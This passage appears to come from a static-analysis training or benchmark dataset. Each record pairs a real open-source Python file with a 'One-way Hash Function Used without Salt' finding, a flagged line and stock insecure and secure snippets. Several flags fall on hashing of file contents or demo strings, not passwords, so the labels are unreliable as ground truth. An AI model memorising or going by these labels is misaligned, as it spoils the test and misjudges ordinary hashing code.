None\n return False\n if spark.me.creator.lower() != me['emails'][0].lower():\n spark.me.store.cookie_redirect = None\n spark.me.store.oauth_token = None\n spark.me.store.oauth_refresh_token = None\n spark.me.store.oauth_token_expiry = None\n spark.me.store.oauth_refresh_token_expiry = None\n spark.link.post_bot_message(\n email=me['emails'][0],\n text=\"**WARNING!!**\\n\\nAn attempt to create a new Army Knife account for \" +\n spark.me.creator +\n \" was done while you were logged into Cisco Webex Teams in your browser. Did you try with\"\n \" the wrong email address?\\n\\n\"\n \"You can instead do /init here to (re)authorize your account\"\n \" (click the link to grant new access).\",\n markdown=True)\n spark.link.post_bot_message(\n email=spark.me.creator,\n text=\"**SECURITY WARNING**\\n\\n\" + me['emails'][0] +\n \"'s Cisco Webex Teams credentials were attempted used to create a new Army Knife\"\n \" account for you.\\n\\n\"\n \"No action required, but somebody may have attempted to hijack your\"\n \" Army Knife account.\",\n markdown=True)\n if not spark.me.property.oauthId:\n spark.me.delete()\n return False\n spark.me.store.email = me['emails'][0].lower()\n spark.me.property.oauthId = me['id']\n if 'displayName' in me:\n spark.me.property.displayName = me['displayName']\n if 'avatar' in me:\n spark.me.property.avatarURI = me['avatar']\n if '@actingweb.net' not in me['emails'][0]:\n spark.link.post_admin_message(\n text='New user just signed up: ' + me['displayName'] + ' (' + me['emails'][0] + ')')\n else:\n logging.debug(\"Actor's identity:\" + current_id)\n if me['id'] != current_id:\n spark.me.store.cookie_redirect = None\n spark.me.store.oauth_token = None\n spark.me.store.oauth_refresh_token = None\n spark.me.store.oauth_token_expiry = None\n spark.me.store.oauth_refresh_token_expiry = None\n spark.link.post_bot_message(\n email=spark.me.property.email,\n text=\"**SECURITY WARNING**\\n\\n\" + (me['emails'][0] or \"Unknown\") +\n \" tried to log into your Army Knife account.\\n\\n\"\n \"For security reasons, your Army Knife account has been suspended.\\n\\n\"\n \"If this happens repeatedly, please contact \",\n markdown=True)\n return False\n return True\n \n def actions_on_oauth_success(self):\n \"\"\" When OAuth is successfully done, we need to do several actions \"\"\"\n\n if not self.myself:\n return True\n spark = webexrequest.WebexTeamsRequest(body=self.webobj.request.body,\n auth=self.auth,\n myself=self.myself,\n config=self.config)\n email = spark.me.creator\n hook_id = spark.me.property.firehoseId\n spark.me.property.token_invalid = None\n spark.me.property.service_status = None\n if hook_id:\n if spark.link.unregister_webhook(hook_id) is None and self.auth.oauth.last_response_code != 404 and \\\n self.auth.oauth.last_response_code != 0:\n spark.link.post_bot_message(\n email=email,\n text=\"Not able to delete old Cisco Webex Teams webhook link, do /init and authorize again \"\n \"or do `/support your_msg` to get help\",\n markdown=True)\n spark.link.post_admin_message(\n text=\"Successfully authorized account, but could not delete old firehose: \" + email)\n spark.link.post_admin_message(\n text=str(self.auth.oauth.last_response_code) + ':' + self.auth.oauth.last_response_message)\n return True\n msghash = hashlib.sha256()\n msghash.update(spark.me.passphrase.encode('utf-8'))\n hook = spark.link.register_webhook(\n name='Firehose',\n target=self.config.root + spark.me.id + '/callbacks/firehose',\n resource='all',\n event='all',\n secret=msghash.hexdigest()\n )\n if hook and hook['id']:\n logging.debug('Successfully registered messages firehose webhook')\n spark.me.property.firehoseId = hook['id']\n else:\n logging.debug('Failed to register messages firehose webhook')\n spark.link.post_admin_message(text='Failed to register firehose for new user: ' + email)\n spark.link.post_bot_message(\n email=email,\n text=\"Not able to create Cisco Webex Teams webhook link, do /init and authorize again \"\n \"or do `/support your_msg` to get help\",\n markdown=True)\n return True\n spark.me.property.app_disabled = None\n spark.link.post_bot_message(\n email=email,\n text=\"Hi there! Welcome to the **Army Knife**! \\n\\n\"\n \"You have successfully authorized access.\\n\\nSend me commands starting with /. Like /help or /me\",\n markdown=True)\n return True\n\n def bot_post(self, path):\n \"\"\"Called on POSTs to /bot.\"\"\"\n # Get a spark request object to do signature check\n spark = webexrequest.WebexTeamsRequest(body=self.webobj.request.body,\n auth=self.auth,\n myself=None,\n config=self.config)\n if not fargate.in_fargate() and not fargate.fargate_disabled() and \\\n not spark.check_bot_signature(self.webobj.request.headers, self.webobj.request.body):\n return 404\n # Try to re-init from person_id in the message\n spark.re_init()\n # Ignore messages from the bot itself\n if spark.is_actor_bot:\n logging.debug(\"Dropping message from ArmyKnife bot...\")\n return 204\n # If not successful, we don't have this user\n if not spark.is_actor_user:\n spark.enrich_data('person')\n #\n # The first time a user is in touch with the bot, it can either be the user or the bot that has initiated\n # the contact, i.e. the actor_id can either be somebody unknown or the bot\n # The message flow is the following:\n # 1. rooms, created -> type direct or group\n # 2. memberships, created -> two messages, one for the bot and one for the user\n # 3. messages, created -> either from the bot or from the user depending on who initiated the request\n #\n handler = webexbothandler.WebexTeamsBotHandler(spark, self.webobj)\n if spark.body['resource'] == 'rooms':\n if spark.body['event'] == 'created':\n handler.rooms_created()\n elif spark.body['resource'] == 'memberships':\n if spark.body['event'] == 'created':\n handler.memberships_created()\n elif spark.body['resource'] == 'messages':\n if spark.body['event'] == 'created':\n handler.messages_created()\n # No more event types we want to handle, just return\n return 204\n\n def get_callbacks(self, name):\n \"\"\" This method is called for regular web browser requests to the user's URL/something\n\n \"\"\"\n spark = webexrequest.WebexTeamsRequest(body=self.webobj.request.body,\n auth=self.auth,\n myself=self.myself,\n config=self.config)\n if name == 'joinroom':\n uuid = self.webobj.request.get('id')\n room = spark.store.load_room_by_uuid(uuid)\n if not room:\n self.webobj.response.set_status(404)\n return True\n roominfo = spark.link.get_room(room['id'])\n self.webobj.response.template_values = {\n 'id': uuid,\n 'title': roominfo['title'],\n }\n if name == 'makefilepublic':\n pass\n # This is not secure!!! So do not execute\n # token is exposed directly in javascript in the users browser\n\n # self.webobj.response.template_values = {\n # 'url': str(self.webobj.request.get('url')),\n # 'token': str(auth.token),\n # 'filename': str(self.webobj.request.get('filename')),\n # }\n return True\n \n def post_callbacks(self, name):\n if not self.myself or not self.myself.id:\n logging.debug(\"Got a firehose callback for an unknown user.\")\n self.webobj.response.set_status(410, 'Gone')\n return True\n spark = webexrequest.WebexTeamsRequest(\n body=self.webobj.request.body,\n auth=self.auth,\n myself=self.myself,\n config=self.config)\n # Ignore messages from the bot itself\n if spark.is_actor_bot:\n logging.debug(\"Dropping message from ArmyKnife bot...\")\n return True\n # Clean up any actor creations from earlier where we got wrong creator email\n # Likely not needed anymore, but just in case\n if spark.me.creator.lower() == self.config.bot['email'].lower() or spark.me.creator == \"creator\":\n my_email = spark.me.property.email.lower()\n if my_email and len(my_email) > 0:\n spark.me.modify(creator=my_email)\n # Deprecated support for /callbacks/room\n if name == 'room':\n self.webobj.response.set_status(404, 'Not found')\n return True\n handler = webexmessagehandler.WebexTeamsMessageHandler(spark, self.webobj)\n # non-json POSTs to be handled first\n if name == 'joinroom':\n return handler.joinroom()\n if not spark.check_firehose_signature(self.webobj.request.headers, self.webobj.request.body):\n logging.debug('Returning 403 forbidden...')\n return False\n if spark.body['resource'] == 'memberships':\n if spark.body['event'] == 'created':\n handler.memberships_created()\n else:\n # memberships:deleted\n return True\n elif spark.body['resource'] == 'messages':\n # If message_actions() returns False, the account was disabled or invalid\n if not handler.message_actions():\n return True\n # Only handle messages:created events below\n if spark.body['resource'] != 'messages' or spark.body['event'] != 'created':\n return True\n # Special case for /delete as we need to call self.delete_actor()\n # Make sure we have pulled down the message and spark.cmd is thus set\n if not spark.enrich_data('msg'):\n return True\n if not spark.enrich_data('account'):\n return True\n if spark.cmd == '/delete' and spark.room_id == spark.chat_room_id:\n if len(spark.msg_list) == 2 and spark.msg_list_wcap[1] == 'DELETENOW':\n self.delete_actor()\n spark.me.delete()\n spark.link.post_bot_message(\n email=spark.me.creator,\n text=\"All your account data and the Cisco Webex Teams webhook was deleted. Sorry to see you\"\n \" leaving!\\n\\nThis 1:1 cannot be deleted (Cisco Webex Teams feature), \"\n \"and you can any time type /init\"\n \" here to register a new account.\",\n markdown=True)\n else:\n spark.link.post_bot_message(\n email=spark.me.creator,\n text=\"Usage: `/delete DELETENOW`\", markdown=True)\n if spark.body['resource'] == 'messages' and spark.body['event'] == 'created':\n handler.messages_created()\n # Successfully processed, just not acted upon\n self.webobj.response.set_status(204, 'No content')\n return True\n \n def post_subscriptions(self, sub, peerid, data):\n \"\"\"Customizible function to process incoming callbacks/subscriptions/ callback with json body,\n return True if processed, False if not.\"\"\"\n spark = webexrequest.WebexTeamsRequest(\n body=self.webobj.request.body,\n auth=self.auth,\n myself=self.myself,\n config=self.config)\n logging.debug(\"Got callback and processed \" + sub[\"subscriptionid\"] +\n \" subscription from peer \" + peerid + \" with json blob: \" + json.dumps(data))\n app_disabled = spark.me.property.app_disabled\n if app_disabled and app_disabled.lower() == 'true':\n logging.debug(\"Account is disabled: \" + spark.me.creator)\n return True\n if 'target' in data and data['target'] == 'properties':\n if 'subtarget' in data:\n if data['subtarget'] == 'topofmind' and 'data' in data:\n topofmind = data['data']\n toplist = topofmind['list']\n if len(toplist) == 0:\n spark.link.post_bot_message(\n email=spark.me.creator,\n text=topofmind['displayName'] + \" (\" + topofmind['email'] + \") just cleared \" +\n topofmind['title'], markdown=True)\n return True\n out = topofmind['displayName'] + \" (\" + topofmind['email'] + \") just updated \" + topofmind[\n 'title'] + \"\\n\\n----\\n\\n\"\n for i, el in sorted(toplist.items()):\n out = out + \"**\" + i + \"**: \" + el + \"\\n\\n\"\n spark.link.post_bot_message(email=spark.me.creator, text=out, markdown=True)\n elif data['subtarget'] == 'new' and 'data' in data:\n out = '#Incoming email(s): \\n'\n for k, v in data['data'].items():\n h = v['headers']\n out += '**From: ' + h['From'][0] + '** \\n'\n out += 'Subject: ' + h['Subject'][0] + ' \\n'\n out += v['snippet'] + '\\n\\n---\\n\\n'\n if len(out) > 4000:\n spark.link.post_bot_message(email=spark.me.creator, text=out, markdown=True)\n out = ''\n if out:\n spark.link.post_bot_message(email=spark.me.creator, text=out, markdown=True)\n return True\n if 'resource' in data:\n folder_id = data['resource']\n room = spark.store.load_room_by_boxfolder_id(folder_id=folder_id)\n if room and 'data' in data and 'suggested_txt' in data['data']:\n spark.link.post_message(room.id, '**From Box:** ' + data['data']['suggested_txt'], markdown=True)\n else:\n logging.warning('Was not able to post callback message to Cisco Webex Teams room.')\n else:\n logging.debug('No resource in received subscription data.')\n return True", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 222, "eventType": "sink", "messageKey": "pythonchk.EMPTY_SALT.PYTHON.defect", "params": {}}]}} {"id": "835154a25d20c416a6d4791e1e060eba67f5e5d4b0fe40a94c4e4e4da21b2936", "license": {"spdx": ["MIT"], "repo": "burrito-dev/django-user-images", "path": "django_user_images/models.py", "repo_head_hexsha": "999a6be634df29f266a02ade2652428067bdeb12", "stack_hexsha": "2796546191d30f3fa6b477632977d62c1c8ef4ea", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 18, "entireCode": "# -*- coding: utf-8 -*-\nimport os\n\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom gettext import gettext as _\nfrom hashlib import sha256\n\nfrom model_utils.models import TimeStampedModel\n\nfrom .settings import FILE_LIMIT, LIMITER, AUTH_USER_MODEL\n\n\ndef hash_upload(instance, filename):\n instance.image.open() # make sure we're at the beginning of the file\n contents = instance.image.read() # get the contents\n fname, ext = os.path.splitext(filename)\n hasher = sha256()\n hasher.update(contents)\n return \"{0}/{1}{2}\".format(instance.owner_id, hasher.hexdigest(), ext)\n\n\nclass Image(TimeStampedModel):\n image = models.ImageField(verbose_name=_('Image'), upload_to=hash_upload, max_length=512)\n size = models.IntegerField(verbose_name=_('File size in bytes'), blank=True, editable=False)\n owner = models.ForeignKey(AUTH_USER_MODEL, on_delete=models.CASCADE)\n\n def validate_size(self):\n self.size = self.image.size\n if self.size > FILE_LIMIT:\n raise ValidationError(_('File too large'))\n limit = LIMITER(self.owner)\n total = Image.objects.filter(owner=self.owner).aggregate(total=models.Sum('size'))['total'] or 0\n if limit < total + self.size:\n raise ValidationError(_('Limit exceed'))\n\n def clean(self):\n super(Image, self).clean()\n self.validate_size()\n\n def save(self, *args, **kwargs):\n self.size = self.image.size\n super(Image, self).save(*args, **kwargs)", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "pythonchk.EMPTY_SALT.PYTHON.defect", "params": {}}]}} {"id": "11e2a4137a77f6a7bc222da0759a7f43756a13ade1375bca1fcc15eae11cfec0", "license": {"spdx": ["Unlicense"], "repo": "phesmont/phes", "path": "hashfunctions.py", "repo_head_hexsha": "319fd309b856de0f7115825115132b9807ac24df", "stack_hexsha": "3d125d7c0b9867b76020644086006605d0e3403e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 4, "entireCode": "import hashlib\n\ndef sha256_function(data: bytes) -> bytes:\n\tsha256_object = hashlib.sha256()\n\tsha256_object.update(data)\n\treturn sha256_object.digest()\n\ndef sha256_trim1(data: bytes) -> bytes:\n\treturn sha256_function(data)[:1]\n\ndef sha256_trim2(data: bytes) -> bytes:\n\treturn sha256_function(data)[:2]", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "pythonchk.EMPTY_SALT.PYTHON.defect", "params": {}}]}} {"id": "e357bcd245c658384d16da7c9e4a0c7b3eeb3354cf628f98e21d1d10d38153f8", "license": {"spdx": ["MIT"], "repo": "Deeklming/Filechain", "path": "python/filechain.py", "repo_head_hexsha": "071ec4d012dee93d55ec820cb3a8885752cc69d2", "stack_hexsha": "21f6bbe18f67f54c3cedf9996db66d227973d164", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 37, "entireCode": "import os\nimport sys\nimport timeit\nimport time\nfrom hashlib import blake2b\nfrom datetime import datetime\n\ndef err(s):\n print(s)\n sys.exit()\n\ndef helpcheck(s):\n print(s+\"\\nYou can [FileChain Program] [help]\\n\")\n sys.exit()\n\ndef allDFfind(dirLocation):\n dfinfo=[]\n for root, _, files in os.walk(dirLocation):\n for s in files:\n dfinfo.append(root+'\\\\'+s)\n dfinfo.append(root)\n print(root)\n return dfinfo\n\ndef fchainew(path):\n dfli = allDFfind(path)\n dflen = len(dfli)\n finalhash=bytes(0b10000000)\n for s in dfli:\n dfstr=\"\"\n if os.path.isfile(s):\n if dflen>10 and s[-10:]==\".filechain\":\n err(\" Remove *.filechain file plz\")\n dfstr=f\"{os.path.basename(s)}{os.path.getsize(s)}{datetime.fromtimestamp(os.path.getmtime(s)).isoformat(sep=' ', timespec='seconds')}\"\n else:\n dfstr=f\"{os.path.basename(s)}\"\n hash = blake2b(dfstr.encode('utf-8'))\n hash = hash.digest()+bytes(0b1000000)\n finalhash = bytes([a^b for a,b in zip(finalhash, hash)])\n return finalhash\n\ndef fchainud(path):\n dfli = allDFfind(path)\n dflen = len(dfli)\n finalhash=bytes(0b10000000)\n check=0\n alldfstr=[]\n for s in dfli:\n dfstr=\"\"\n if os.path.isfile(s):\n if dflen>10 and s[-10:]==\".filechain\":\n check+=1\n with open(s,\"rb\") as f:\n finalhash = f.read()\n continue\n dfstr=f\"{os.path.basename(s)}{os.path.getsize(s)}{datetime.fromtimestamp(os.path.getmtime(s)).isoformat(sep=' ', timespec='seconds')}\"\n alldfstr.append(dfstr)\n else:\n dfstr=f\"{os.path.basename(s)}\"\n alldfstr.append(dfstr)\n if check>1:\n err(\" Why are there more than 2 *.filechain?\")\n elif check==1:\n tmpt=finalhash[:64]\n finalhash = finalhash[:64]+tmpt\n for j in alldfstr:\n hash = blake2b(j.encode('utf-8'))\n hash = hash.digest()+bytes(0b1000000)\n finalhash = bytes([a^b for a,b in zip(finalhash, hash)])\n else:\n err(\" Where is *.filechain?\")\n return finalhash\n\ndef fchainvf(path):\n dfli = allDFfind(path)\n dflen = len(dfli)\n finalhash=bytes(0b10000000)\n check=0\n alldfstr=[]\n for s in dfli:\n dfstr=\"\"\n if os.path.isfile(s):\n if dflen>10 and s[-10:]==\".filechain\":\n check+=1\n with open(s,\"rb\") as f:\n finalhash = f.read()\n continue\n dfstr=f\"{os.path.basename(s)}{os.path.getsize(s)}{datetime.fromtimestamp(os.path.getmtime(s)).isoformat(sep=' ', timespec='seconds')}\"\n alldfstr.append(dfstr)\n else:\n dfstr=f\"{os.path.basename(s)}\"\n alldfstr.append(dfstr)\n if check>1:\n err(\" Why are there more than 2 *.filechain?\")\n elif check==1:\n for j in alldfstr:\n hash = blake2b(j.encode('utf-8'))\n hash = hash.digest()+bytes(0b1000000)\n finalhash = bytes([a^b for a,b in zip(finalhash, hash)])\n truecheck=True\n for t in range(64):\n if finalhash[t] != finalhash[t+64]:\n truecheck=False\n print(\"[verify] -> Flase\")\n break\n if truecheck:\n print(\"[verify] -> True\")\n else:\n err(\" Where is *.filechain?\")\n\nif __name__==\"__main__\":\n starttime = timeit.default_timer()\n print(\"\\n\\t\\t\\t!!!HashFileChain!!!\\n\")\n\n if len(sys.argv)==1:\n helpcheck(\" No option! [FileChain Program] [Option] [Just one folder Path to hash]\")\n elif len(sys.argv)==2:\n if sys.argv[1]==\"help\":\n print(\"help)\\n[FileChain Program] [Option] [Just one folder Path to hash]\")\n print(\"[Option]\\n\\tnew: 현제 폴더 새로운 해시 생성\\n\\tupdate: 해시 업데이트\")\n print(\"\\tverify: 검증\\n\\thelp: 사용법\\n\")\n sys.exit()\n elif sys.argv[1]==\"new\" or sys.argv[1]==\"update\" or sys.argv[1]==\"verify\":\n print(\" More Path [FileChain Program] [Option] [Just one folder Path to hash]\\n\")\n sys.exit()\n else:\n helpcheck(\" No option! [FileChain Program] [Option] [Just one folder Path to hash]\")\n elif len(sys.argv)==3:\n if sys.argv[1]==\"new\" or sys.argv[1]==\"update\" or sys.argv[1]==\"verify\":\n pass\n elif sys.argv[1]==\"help\":\n helpcheck(\"help doesn't need a path.\")\n else:\n helpcheck(\"Plz check option\")\n if os.path.isdir(sys.argv[2]):\n print(f\"OK, Selected! [Option]->{sys.argv[1]} [Path]->{sys.argv[2]}\\n\")\n else:\n helpcheck(\" Can't open folder\")\n else:\n helpcheck(\" Over Args [FileChain Program] [Option] [Just one folder Path to hash]\")\n path=sys.argv[2]\n if sys.argv[1]==\"new\":\n f1 = fchainew(path)\n with open(path+\"\\\\b.filechain\",\"wb\") as f:\n f.write(f1)\n elif sys.argv[1]==\"update\":\n f2 = fchainud(path)\n with open(path+\"\\\\b.filechain\",\"wb\") as f:\n f.write(f2)\n elif sys.argv[1]==\"verify\":\n fchainvf(sys.argv[2])\n\n endtime = timeit.default_timer()\n print(f\"실행시간: {endtime-starttime}sec\")\n ", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 37, "eventType": "sink", "messageKey": "pythonchk.EMPTY_SALT.PYTHON.defect", "params": {}}]}} {"id": "122718701f2c988706f991d47bdb8439b67888a9d31538f22a0da33c9e2c8184", "license": {"spdx": ["BSD-2-Clause"], "repo": "LoopSun/PythonWay", "path": "PythonLearn/Python Basic/PythonBuiltInModel.py", "repo_head_hexsha": "f92046bc934dcbb91ad9f50d35db4ac3dfb511a4", "stack_hexsha": "836286ce51bf1c4b8af39dcfbab3fa1eb092860e", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "One-way Hash Function Used without Salt", "issueDescriptionEn": "To save sensitive information such as passwords, use a one-way hash function that converts data of any length to a fixed-sized hash value. If you save sensitive information using a one-way hash function without a salt, an attacker may identify the hash value using the pre-calculated rainbow table.\nIt's insecure to save sensitive information using a hash function without a salt.\nIn Python, a hash value can be generated using the hashlib library.\nThe salt value must be generated using a safe random-number generation library such as os.urandom().\nGenerate the salt using a safe random-number generation library such as os.urandom(), and use it as a parameter of the hash function.", "issueLineNumber": 94, "entireCode": "#!/user/bin/python3\n#^.^ coding=utf-8 ^.^#\nfrom HelloWorld import cute_split_line\n\n# 1. datetime\n# 2. collections\n# 3. base64\n# 4. struct\n# 5. hashlib\n# 6. itertools\n# 7. xml\n# 8. htmlparser\n# 9. urllib\n\n\n#************ datetime ************#\n\nfrom datetime import datetime,timedelta,timezone\n\nprint(\"now:\", datetime.now())\nprint(\"now type:\", type(datetime.now()))\n\nprint(\"One day:\", datetime(2992, 7 , 3, 17, 42, 12))\nprint(\"One day time stamp:\", datetime(2992, 7 , 3, 17, 42, 12).timestamp())\nprint(\"One day time stamp translate:\", datetime.fromtimestamp(datetime(2992, 7 , 3, 17, 42, 12).timestamp()))\nprint(\"One day time stamp translate(UTC):\", datetime.utcfromtimestamp(datetime(2992, 7 , 3, 17, 42, 12).timestamp()))\n\nrecv_format = \"%Y-%m-%d %H:%M:%S\"\nshow_format = \"%H:%M:%S %Y-%m-%d\"\nprint(\"String time to object:\", datetime.strptime(\"2992-07-03 09:42:12\", recv_format))\nprint(\"object time to String:\", datetime.strptime(\"2992-07-03 09:42:12\", recv_format).strftime(show_format))\nprint(\"add 2 hours from now:\", datetime.now() + timedelta(hours=2))\n\ncute_split_line()\n\n#************ collections ************#\n\nfrom collections import namedtuple, deque, defaultdict, OrderedDict, Counter\n\nnamedtuple_sample = namedtuple('Point', ['x', 'y'])\np = namedtuple_sample(1,2)\nprint(\"namedtuple_sample p x:\", p.x)\nprint(\"namedtuple_sample p y:\", p.y)\n\ncute_split_line()\ndeque_sample = deque()\nfor i in range(10):\n if i % 2:\n deque_sample.appendleft(i)\n else:\n deque_sample.append(i)\n\nprint(\"deque_sample:\", deque_sample)\n\ncute_split_line()\n\ndefaultdict_sample = defaultdict(lambda:None)\ndefaultdict_sample[\"var\"] = \"Earth\"\nprint(\"defaultdict_sample var:\", defaultdict_sample.get('var'))\nprint(\"defaultdict_sample var1:\", defaultdict_sample.get('var1'))\n\ncute_split_line()\n\n# OrderedDict in PythonDataStruct.py\n\nsample_text = '''\nThe Moon is Earth's only permanent natural satellite. It is one of the largest natural satellites in the Solar System, and the largest among planetary satellites relative to the size of the planet that it orbits (its primary). It is the second-densest satellite among those whose densities are known (after Jupiter's satellite Io).\n\nThe Moon is thought to have formed approximately 4.5 billion years ago, not long after Earth. There are several hypotheses for its origin; the most widely accepted explanation is that the Moon formed from the debris left over after a giant impact between Earth and a Mars-sized body called Theia.\n\nThe Moon is in synchronous rotation with Earth, always showing the same face with its near side marked by dark volcanic maria that fill between the bright ancient crustal highlands and the prominent impact craters. It is the second-brightest regularly visible celestial object in Earth's sky after the Sun, as measured by illuminance on Earth's surface. Its surface is actually dark (although it can appear a very bright white) with a reflectance just slightly higher than that of worn asphalt. Its prominence in the sky and its regular cycle of phases have made the Moon an important cultural influence since ancient times on language, calendars, art, and mythology.\n\nThe Moon's gravitational influence produces the ocean tides, body tides, and the slight lengthening of the day. The Moon's current orbital distance is about thirty times the diameter of Earth, with its apparent size in the sky almost the same as that of the Sun, resulting in the Moon covering the Sun nearly precisely in total solar eclipse. This matching of apparent visual size will not continue in the far future. The Moon's linear distance from Earth is currently increasing at a rate of 3.82 ± 0.07 centimetres (1.504 ± 0.028 in) per year, but this rate is not constant.\n\nThe Soviet Union's Luna programme was the first to reach the Moon with unmanned spacecraft in 1959; the United States' NASA Apollo program achieved the only manned missions to date, beginning with the first manned lunar orbiting mission by Apollo 8 in 1968, and six manned lunar landings between 1969 and 1972, with the first being Apollo 11. These missions returned over 380 kg (840 lb) of lunar rocks, which have been used to develop a geological understanding of the Moon's origin, the formation of its internal structure, and its subsequent history. After the Apollo 17 mission in 1972, the Moon has been visited only by unmanned spacecraft.\n'''\n\nc = Counter()\nprint(\"\")\nfor char in sample_text:\n c[char] = c[char] + 1\nprint(\"counter\", c)\ncute_split_line()\n#************ base64 ************#\ncute_split_line()\n#************ struct ************#\ncute_split_line()\n#************ hashlib ************#\nimport hashlib\n\nmd5 = hashlib.md5()\nsha1 = hashlib.sha1()\nsha224 = hashlib.sha224()\nsha256 = hashlib.sha256()\nsha384 = hashlib.sha384()\nsha512 = hashlib.sha512()\nmd5.update(\"China is a beautiful country.\".encode())\nsha1.update(\"China is a beautiful country.\".encode())\nsha224.update(\"China is a beautiful country.\".encode())\nsha256.update(\"China is a beautiful country.\".encode())\nsha384.update(\"China is a beautiful country.\".encode())\nsha512.update(\"China is a beautiful country.\".encode())\n\nprint(\"MD5 Hex Value:\", md5.hexdigest())\nprint(\"SHA1 Hex Value:\", sha1.hexdigest())\nprint(\"SHA224 Hex Value:\", sha224.hexdigest())\nprint(\"SHA256 Hex Value:\", sha256.hexdigest())\nprint(\"SHA384 Hex Value:\", sha384.hexdigest())\nprint(\"SHA512 Hex Value:\", sha512.hexdigest())\n\ncute_split_line()\n#************ itertools ************#\n\nimport itertools\n\nnatuals = itertools.count(1)\nfor i in natuals:\n print(\"itertools count element:\", i)\n if i > 10:\n break\n\nrepeat_iter = itertools.repeat(1, 10)\nfor i in repeat_iter:\n print(\"itertools repeat element:\", i)\n\nfor char in itertools.chain(range(5), 'DEF'):\n print(\"itertool chain:\", char)\n\nfor key, group in itertools.groupby('', lambda c: c.lower()):\n print(\"itertools groupby:\", key, list(group))\ncute_split_line()\n#************ xml ************#\n# folder 'XML parser' include this\n\n#************ HTMLparser ************#\n\nfrom html.parser import HTMLParser\nfrom html.entities import name2codepoint\nfrom urllib import request\n\nclass MyHtmlParser(HTMLParser):\n def handle_starttag(self, tag, attrs):\n print('<%s>'%tag)\n\n def handle_endtag(self, tag):\n print('' % tag)\n\n def handle_startendtag(self, tag, attrs):\n print('<%s>' % tag)\n\n def handle_data(self, data):\n print(\"data:\", data)\n\n def handle_comment(self, data):\n print(\"\"%(data))\n\n def handle_entityref(self, name):\n print('&%s;'%name)\n\n def handle_charref(self, name):\n print('&#%s;'%name)\n\nparser = MyHtmlParser()\nhtml_file = request.urlopen('http://cn.bing.com/').read()\nparser.feed(html_file.decode())\n\n\n#************* urllib ************#\nfrom urllib import parse", "dangerousExampleEn": "1. import hashlib\n2. \n3. def get_hash_from_pwd(pw):\n4. \th = hashlib.sha256(pw.encode())\n5. \n6. \treturn h.digest()\nLine 4: This is insecure because data with no salt value is used as a parameter of the hash function.", "safeExampleEn": "1. import hashlib\n2. import secrets\n3. \n4. def get_hash_from_pwd(pw):\n5. salt = secrets.token_hex(32)\n6. h = hashlib.sha256(salt.encode() + pw.encode())\n7. \n8. \treturn h.digest(), salt\nLine 6: This is secure because the salt value and password are used as a parameter of the hash function.", "contexts": [{"lineNo": 94, "eventType": "sink", 